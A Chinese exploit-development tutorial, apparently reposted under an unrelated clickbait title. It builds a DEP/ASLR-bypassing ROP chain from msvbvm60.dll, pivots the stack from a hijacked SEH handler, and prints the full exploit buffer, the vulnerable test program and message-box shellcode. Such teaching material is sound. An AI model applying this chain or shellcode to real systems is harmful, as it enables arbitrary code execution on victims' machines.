msvbvm60.dll(msvbvm60.dll拒绝访问0x5)一看就会
在上一篇文章中,我们为读者详细介绍了SHE劫持技术,以及DED和ASLR防御机制,在本文中,我们将继续为读者讲解如何创建ROP链。创建ROP链第
在上一篇文章中,我们为读者详细介绍了SHE劫持技术,以及DED和ASLR防御机制,在本文中,我们将继续为读者讲解如何创建ROP链创建ROP链第一步,我使用Ropper从msvbvm60.dll中提取所有可能有用的可执行代码片段(以RET、JMP或CALL指令结束)。
实际上,我创建ROP链有三个主要意图:通过从msvbvm60.dll的IAT加载其地址来调用KERNEL32.DLL!VirtualProtect(以绕过KERNEL32.DLL的ASLR)动态控制VirtualProtect的第一个参数,使其指向堆栈上的shellcode(以绕过DEP)。
人为控制VirtualProtect的返回地址,令其返回时,动态地执行堆栈上的shellcode(现在的权限是+RWX)在编写ROP链的时候,我先用汇编语言描述所需逻辑的伪代码,然后,设法用ROP Gadget来复现该逻辑。
Gadget #1 | MOV REG1, ; RET Gadget #2 | MOV REG2, ; RET Gadget #3 | MOV REG3, ; RET Gadget #4 | PUSH ESP ; PUSH REG3 ; RET Gadget #5 | PUSH REG2 ; JMP DWORD [REG1] Gadget #6 | JMP ESP
图14ROP链伪代码逻辑值得注意的是,在上面精心构造的的逻辑中,使用了msvbvm60.dll中一个包含VirtualProtect地址的解除引用的IAT thunk地址,以解决KERNEL32.DLL的ASLR问题。
Windows在加载msvbvm60.dll时,会为我们解析VirtualProtect的地址,并且这个地址将始终保存在msvbvm60.dll内的同一位置处这里,我打算使用JMP指令来调用它,而不是CALL指令。
这是因为我需要为调用VirtualProtect创建一个伪造的返回地址,这个返回地址将导致shellcode(现在已经摆脱了DEP)直接执行这个伪造的返回地址会指向一个JMP ESP gadget我这么做的理由是:尽管不知道(也无法知道)通过溢出写入栈中的shellcode的具体位置,但该gadget返回后,ESP会指向ROP链的末端,而我可以精心构造溢出内容,使shellcode正好位于这个ROP链后面。
此外,我在第4个gadget中也使用了同样的技术:通过两个push指令让ESP动态生成VirtualProtect的第一个参数与JMP ESP指令不同(其中ESP会直接指向我的shellcode),这里的ESP会与我的shellcode的地址略有偏差(运行时ESP与ROP链末端的距离)。
这并不是一个问题,因为充其量只是在ROP链的末端除了shellcode本身之外,还将禁用DEP在构建ROP链的过程中(也就是将上述逻辑付诸实施过程中),我发现gadget #4(我的伪代码gadget中最稀有和最不可替代的一个)没有出现在msvbvm60.dll中。
这个挫折是一个很好的例子,说明了为什么在任何公共漏洞利用代码中几乎每个ROP链都在使用PUSHAD指令,而不是类似于我所描述的伪代码逻辑简而言之,PUSHAD指令允许exploit编写者动态地将ESP的值(以及堆栈上的shellcode)与所有其他相关的KERNEL32.DLL!VirtualProtect参数一起放到堆栈上,而无需使用任何罕见的gadget。
他们所有需要做的就是正确填充每个通用寄存器的值,然后执行PUSHAD ; RET gadget来完成攻击关于这方面的详细介绍,请访问Corelan撰写的“ Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube”一文。
最终,我们的ROP链需要通过如下方式设置相关的寄存器:EAX = NOP sled ECX = Old protection (writable address) EDX = PAGE_EXECUTE_READWRITE EBX = Size EBP = VirtualProtect return address (JMP ESP) ESI = KERNEL32.DLL!VirtualProtect EDI = ROPNOP
在实践中,上面的逻辑可以被ROP gadget替换,具体如下面的伪码所示:Gadget #1: MOV EAX, Gadget #2: MOV ESI, DWORD [ESI] Gadget #3: MOV EAX, 0x90909090 Gadget #4: MOV ECX, Gadget #5: MOV EDX, 0x40 Gadget #6: MOV EBX, 0x2000 Gadget #7: MOV EBP, Gadget #8: MOV EDI, Gadget #9: PUSHAD Gadget #10: ROPNOP Gadget #11: JMP ESP
上面的伪码逻辑最终可以转换为来自msvbvm60.dll的ROP链数据,具体如下所示:uint8_t RopChain[] = "\x54\x1e\x00\x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET "\xd0\x10\x00\x66" // 0x660010d0 -> ESI | "\xfc\x50\x05\x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET "\xef\xbe\xad\xde" // Junk "\xf8\x9f\x0f\x66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET "\x1f\x98\x0e\x66" // 0x660e981f | Gadget #4 | POP EAX; RET "\x90\x90\x90\x90" // NOP sled -> EAX | JMP ESP will point here "\xf0\x1d\x00\x66" // 0x66001df0 | Gadget #5 | POP EBP; RET "\xea\xcb\x01\x66" // 0x6601CBEA -> EBP | "\x10\x1f\x00\x66" // 0x66001f10 | Gadget #6 | POP EBX; RET "\x00\x20\x00\x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize "\x21\x44\x06\x66" // 0x66064421 | Gadget #7 | POP EDX; RET "\x40\x00\x00\x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE "\xf2\x1f\x00\x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET "\x00\xa0\x10\x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect "\x5b\x57\x00\x66" // 0x6600575b | Gadget #9 | POP EDI; RET "\xf9\x28\x0f\x66" // 0x660F28F9 -> EDI | "\x54\x12\x05\x66" // 0x66051254 | Gadget #10 | PUSHAD; RET // 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect // 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect
图15来自msvbvm60.dll的ROP链执行任意代码构建了ROP链,也搞定了劫持EIP的方法,现在剩下的唯一任务就是构建exploit为此,我们必须了解当伪造的SEH handler收到程序的控制权时堆栈的布局情况。
理想情况下,我们当然希望ESP直接指向ROP链的顶部,并结合EIP重定向,使其指向链中的第一个gadget在实践中,这是不可能的让我们回顾一下图8所示的堆栈喷射代码,并在在伪造的handler的开始处设置一个断点,以观察发生溢出和EIP劫持后栈的状态。
图16喷入的SEH handler执行时堆栈的状态在右边的突出显示的区域,我们可以看到堆栈的底部位于0x010FF3C0处然而,您可能会注意到,堆栈中的值都不是我们溢出的内容——大家可能还记得,在发生访问冲突之前,我们在不断向堆栈中喷射伪造的SEH handler的地址。
在左边突出显示的区域,我们可以看到,我们的溢出内容起始于0x010FFA0C附近因此,在异常发生后,NTDLL.DLL让ESP向我们用溢出内容覆盖的堆栈区域下方偏移了0x64C字节(记住,堆栈是向下生长的,而不是向上生长的)。
有了这些信息,就不难理解发生了什么当NTDLL.DLL处理异常时,它开始使用异常发生时ESP下方的堆栈区域,而这个区域是我们鞭长莫及的,因此,也就无法写入我们的ROP链因此,这就产生了一个有趣的问题也就是说,要想执行ROP链,我们需要让伪造的SEH handler设法让ESP(栈顶指针)重新指向由溢出内容覆盖的堆栈区域。
当我们的断点被击中时,检查ESP的值,我们可以在0x010FF3C0处看到一个返回NTDLL.DLL的地址(无用),其后是另一个位于我们所能控制的堆栈范围(0x010FF4C4)下方的地址(也无用),它位于0x010FF3C4处。
然而,0x010FF3C8处的第三个值0x010FF3A74直接落在从0x010FFA0C开始的受控区域的地址范围内,其偏移值为0x64重新审视异常处理程序的原型,就会发现这第三个值(代表传递给处理程序的第二个参数)对应的是Windows传递给SEH handler的“已建帧”的指针。
EXCEPTION_DISPOSITION __cdecl SehHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext)
在我们的调试器中,检查堆栈中0x010FF3A74这个地址处的内容,我们可以更进一步地了解这个参数(也称为NSEH)的指向。
图17 传递给SEH handler的已建帧参数所指示的堆栈区域果然,我们可以看到,这个地址指向我们的溢出所控制的堆栈的一个区域(现在该区域已经被喷入的handler地址填满了)具体来说,它直接指向前面提到的EXCEPTION_REGISTRATION_RECORD结构体的开始位置,而我们早就覆盖了这个结构体并用它来劫持EIP。
在理想情况下,我们伪造的SEH handler会将ESP设置为[ESP + 8],并且我们会将ROP链的开头部分放在被我们的溢出内容覆盖的EXCEPTION_REGISTRATION_RECORD结构体的开始处。
对于这种类型的堆栈pivot,一个理想的gadget是POP REG;POP REG;POP ESP;RET或这种逻辑的一些变体,然而,msvbvm60.dll中并没有这种gadget,我不得不设法设计一个不同的解决方案。
如前所述,当NTDLL将EIP重定向到我们伪造的SEH handler时,ESP在堆栈上的偏移量0x64C已经超出了我们用溢出控制的区域(具体来说,跑到该区域的下方了)因此,对于堆栈pivot的这个问题,一个不太优雅的解决方案就是直接给ESP加上一个大于或等于0x64C的值。
Ropper提供了一个功能,可以提取潜在的堆栈pivot gadget:
图18 使用Ropper从msvbvm60.dll中提取堆栈pivotADD ESP,0x1004 ; RET是一个略显混乱的gadget:它超出溢出开始处0x990个字节,但由于它是唯一一个值大于0x64C的ADD ESP,因此别无选择。
这个堆栈pivot会让ESP从我们的溢出起始处超出0x990或0x98C个字节(当然,对于同一应用程序的不同实例以及Windows的不同版本来说,该值还能会有所变化)这意味着我们需要在实际ROP链开始之前,用0x98C个垃圾字节和ROPNOP来填充溢出。
图19 溢出后EIP劫持点处的堆栈布局图将这些知识整合到一段代码中:#include #include #include uint8_t Exploit[] = "AAAAAAAAAAAAAAAA" // 16 bytes for buffer length "AAAA" // Stack Cookie "AAAA" // EBP "AAAA" // Return address "AAAA" // Overflow() | Param #1 | pInputBuf "AAAA" // Overflow() | Param #2 | dwInputBufSize "DDDD" // EXECEPTION_REGISTRATION_RECORD.Next "\xf3\x28\x0f\x66"// EXECEPTION_REGISTRATION_RECORD.Handler | 0x660f28f3 | ADD ESP, 0x1004; RET "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "\xf9\x28\x0f\x66" // 0x660F28F9 | ROPNOP // ROP chain begins // EAX = NOP sled // ECX = Old protection (writable address) // EDX = PAGE_EXECUTE_READWRITE // EBX = Size // EBP = VirtualProtect return address (JMP ESP) // ESI = KERNEL32.DLL!VirtualProtect // EDI = ROPNOP "\x54\x1e\x00\x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET "\xd0\x10\x00\x66" // 0x660010d0 -> ESI | "\xfc\x50\x05\x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET "\xef\xbe\xad\xde" // Junk "\xf8\x9f\x0f\x66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET "\x1f\x98\x0e\x66" // 0x660e981f | Gadget #4 | POP EAX; RET "\x90\x90\x90\x90" // NOP sled -> EAX | JMP ESP will point here "\xf0\x1d\x00\x66" // 0x66001df0 | Gadget #5 | POP EBP; RET "\xea\xcb\x01\x66" // 0x6601CBEA -> EBP | "\x10\x1f\x00\x66" // 0x66001f10 | Gadget #6 | POP EBX; RET "\x00\x20\x00\x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize "\x21\x44\x06\x66" // 0x66064421 | Gadget #7 | POP EDX; RET "\x40\x00\x00\x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE "\xf2\x1f\x00\x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET "\x00\xa0\x10\x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect "\x5b\x57\x00\x66" // 0x6600575b | Gadget #9 | POP EDI; RET "\xf9\x28\x0f\x66" // 0x660F28F9 -> EDI | "\x54\x12\x05\x66" // 0x66051254 | Gadget #10 | PUSHAD; RET // 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect // 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect // Shellcode "\x55\x89\xe5\x68\x88\x4e\x0d\x00\xe8\x53\x00\x00\x00\x68\x86\x57" "\x0d\x00\x50\xe8\x94\x00\x00\x00\x68\x33\x32\x00\x00\x68\x55\x73" "\x65\x72\x54\xff\xd0\x68\x1a\xb8\x06\x00\x50\xe8\x7c\x00\x00\x00" "\x6a\x64\x68\x70\x77\x6e\x65\x89\xe1\x68\x6e\x65\x74\x00\x68\x6f" "\x72\x72\x2e\x68\x65\x73\x74\x2d\x68\x66\x6f\x72\x72\x68\x77\x77" "\x77\x2e\x89\xe2\x6a\x00\x52\x51\x6a\x00\xff\xd0\x89\xec\x5d\xc3" "\x55\x89\xe5\x57\x56\xbe\x30\x00\x00\x00\x64\xad\x8b\x40\x0c\x8b" "\x78\x18\x89\xfe\x31\xc0\xeb\x04\x39\xf7\x74\x28\x85\xf6\x74\x24" "\x8d\x5e\x24\x85\xdb\x74\x14\x8b\x4b\x04\x85\xc9\x74\x0d\x6a\x01" "\x51\xe8\x5d\x01\x00\x00\x3b\x45\x08\x74\x06\x31\xc0\x8b\x36\xeb" "\xd7\x8b\x46\x10\x5e\x5f\x89\xec\x5d\xc2\x04\x00\x55\x89\xe5\x81" "\xec\x30\x02\x00\x00\x8b\x45\x08\x89\x45\xf8\x8b\x55\xf8\x03\x42" "\x3c\x83\xc0\x04\x89\x45\xf0\x83\xc0\x14\x89\x45\xf4\x89\xc2\x8b" "\x45\x08\x03\x42\x60\x8b\x4a\x64\x89\x4d\xd0\x89\x45\xfc\x89\xc2" "\x8b\x45\x08\x03\x42\x20\x89\x45\xec\x8b\x55\xfc\x8b\x45\x08\x03" "\x42\x24\x89\x45\xe4\x8b\x55\xfc\x8b\x45\x08\x03\x42\x1c\x89\x45" "\xe8\x31\xc0\x89\x45\xe0\x89\x45\xd8\x8b\x45\xfc\x8b\x40\x18\x3b" "\x45\xe0\x0f\x86\xd2\x00\x00\x00\x8b\x45\xe0\x8d\x0c\x85\x00\x00" "\x00\x00\x8b\x55\xec\x8b\x45\x08\x03\x04\x11\x89\x45\xd4\x6a\x00" "\x50\xe8\xbd\x00\x00\x00\x3b\x45\x0c\x0f\x85\xa1\x00\x00\x00\x8b" "\x45\xe0\x8d\x14\x00\x8b\x45\xe4\x0f\xb7\x04\x02\x8d\x0c\x85\x00" "\x00\x00\x00\x8b\x55\xe8\x8b\x45\x08\x03\x04\x11\x89\x45\xd8\x8b" "\x4d\xfc\x89\xca\x03\x55\xd0\x39\xc8\x7c\x7f\x39\xd0\x7d\x7b\xc7" "\x45\xd8\x00\x00\x00\x00\x31\xc9\x8d\x9d\xd0\xfd\xff\xff\x8a\x14" "\x08\x80\xfa\x00\x74\x20\x80\xfa\x2e\x75\x15\xc7\x03\x2e\x64\x6c" "\x6c\x83\xc3\x04\xc6\x03\x00\x8d\x9d\xd0\xfe\xff\xff\x41\xeb\xde" "\x88\x13\x41\x43\xeb\xd8\xc6\x03\x00\x8d\x9d\xd0\xfd\xff\xff\x6a" "\x00\x53\xe8\x3c\x00\x00\x00\x50\xe8\xa3\xfe\xff\xff\x85\xc0\x74" "\x29\x89\x45\xdc\x6a\x00\x8d\x95\xd0\xfe\xff\xff\x52\xe8\x21\x00" "\x00\x00\x50\xff\x75\xdc\xe8\xd1\xfe\xff\xff\x89\x45\xd8\xeb\x0a" "\x8d\x45\xe0\xff\x00\xe9\x1f\xff\xff\xff\x8b\x45\xd8\x89\xec\x5d" "\xc2\x08\x00\x55\x89\xe5\x57\x8b\x4d\x08\x8b\x7d\x0c\x31\xdb\x80" "\x39\x00\x74\x14\x0f\xb6\x01\x0c\x60\x0f\xb6\xd0\x01\xd3\xd1\xe3" "\x41\x85\xff\x74\xea\x41\xeb\xe7\x89\xd8\x5f\x89\xec\x5d\xc2\x08" "\x00"; void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) { char Buf[16] = { 0 }; memcpy(Buf, pInputBuf, dwInputBufSize); } int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) { char Junk[0x5000] = { 0 }; // Move ESP lower to ensure the exploit data can be accomodated in the overflow HMODULE hModule = LoadLibraryW(L"msvbvm60.dll"); __asm { Push0xdeadc0de// Address of handler function PushFS:[0]// Address of previous handler Mov FS:[0], Esp// Install new EXECEPTION_REGISTRATION_RECORD } printf("... loaded non-ASLR/non-SafeSEH module msvbvm60.dll to 0x%p\r\n", hModule); printf("... passing %d bytes of data to vulnerable function\r\n", sizeof(Exploit) - 1); Overflow(Exploit, 0x20000); return 0; }
图20 存在堆栈溢出漏洞的应用程序,以及通过SEH劫持绕过堆栈Cookies的exploit代码上面的代码中有几个细节值得注意首先,您可能注意到,我通过将垃圾异常处理程序(0xdeadc0de)链接到TEB(FS[0])中的处理程序列表,显式注册了该处理程序。
之所以这样做,是因为我发现在堆栈顶部覆盖NTDLL.DLL注册的默认处理程序的做法不太可靠这是因为有时堆栈的顶端没有足够的空间来容纳shellcode,这会触发VirtualProtect的STATUS_CONFICTING_ADDRESS错误(代码0xc0000015)。
图20中另一个值得注意的细节是,我在ROP链末端的溢出内容中加入了自己的shellcode这是我编写的一个自定义的shellcode(源代码可以从Github上下载),它在ROP链化后的堆栈上被执行后会弹出一个消息框。
编译完含有溢出漏洞程序后,我们可以进行单步跟踪,看看溢出数据是如何结合在一起来执行shellcode的。
图21 存在漏洞的程序在发生堆栈溢出前的状态在第一个断点处,我们可以看到,栈上的目标EXCEPTION_REGISTRATION_RECORD位于0x00B9ABC8处在发生溢出之后,我们可以期待该handler字段将被我们伪造的SEH handler的地址所覆盖。
图22 memcpy对堆栈末端之外执行写入操作是抛出的访问违例异常(Access violation exception)在memcpy函数中,由于rep MOVSB指令试图将数据写入堆栈的末端之外的内存时,发生了访问违例异常。
在0x00B9ABCC处,我们可以看到EXCEPTION_REGISTRATION_RECORD结构体的handler字段已经被我们msvbvm60.dll中的堆栈pivot gadget的地址所覆盖
图23 伪造的SEH handler让ESP跳回由溢出控制的地区在堆栈中向上跳过0x1004字节,我们可以看到在突出显示区域,ESP现在指向我们ROP链的开始地址这个ROP链将填充所有相关寄存器的值,以便为PUSHAD gadget做好相应的准备,之后,该gadget将把这些值移到堆栈上,从而为调用KERNEL32.DLL!VirtualProtect做好准备。
图24 PUSHAD为绕过DEP准备好相应的调用栈在PUSHAD指令执行后,我们可以看到ESP现在指向msvbvm60.dll中的ROPN,其后紧跟KERNEL32.DLL中VirtualProtect的地址。
在0x00B9B594处,我们可以看到传递给VirtualProtect的第一个参数,就是我们堆栈上0x00B9B5A4处的shellcode的地址(该地址在图24中已经突出显示)
图25 ROP链的最后一个gadget将EIP设置为ESP一旦VirtualProtect返回,ROP链中的最后一个gadget就会将EIP重定向到ESP的值,这样,ESP将指向我们直接存储在ROP链之后的shellcode的起始位置。
您可能已经注意到,shellcode的前4个字节实际上就是ROP链通过PUSHAD指令动态生成的NOP指令,而不是通过溢出写入的shellcode的起始位置
图26 弹出消息框的shellcode在堆栈上成功执行,从而完成了漏洞的利用过程小结在本文中,我们为读者解释了ROP链的创建过程,以及执行任意代码的实现过程,在下一篇文章中,我们将为读者介绍针对SEH劫持技术的一种强大的防御机制,即SEHOP。
- 标签:
- 编辑:李松一
- 相关文章
-
cydia源(cydia源最新)一篇读懂
众所周知,IOS系统的封闭性要远远高于安卓,虽然现在安卓的很多衍生系统都已经不支持Root了。 KillX Pro Rus。…
-
内存条检测工具(内存条颗粒检测工具)一篇读懂
电脑出现问题 , 如何断定哪个配件出现问题 ? 就用这几种软件前言:很多小白用户或者刚刚接触电脑只了解基础的,对电脑出现的故障或者…
- 辽宁科技大学教务处(教务管理系统登录入口)这都可以
- 富顺二中(富顺二中在四川省排名)这都可以
- dmo战队(DMO战队百度百科)干货满满
- qi无线充电(qi无线充电功率)干货满满
- 玻镁平板(玻镁平板模板的材料)太疯狂了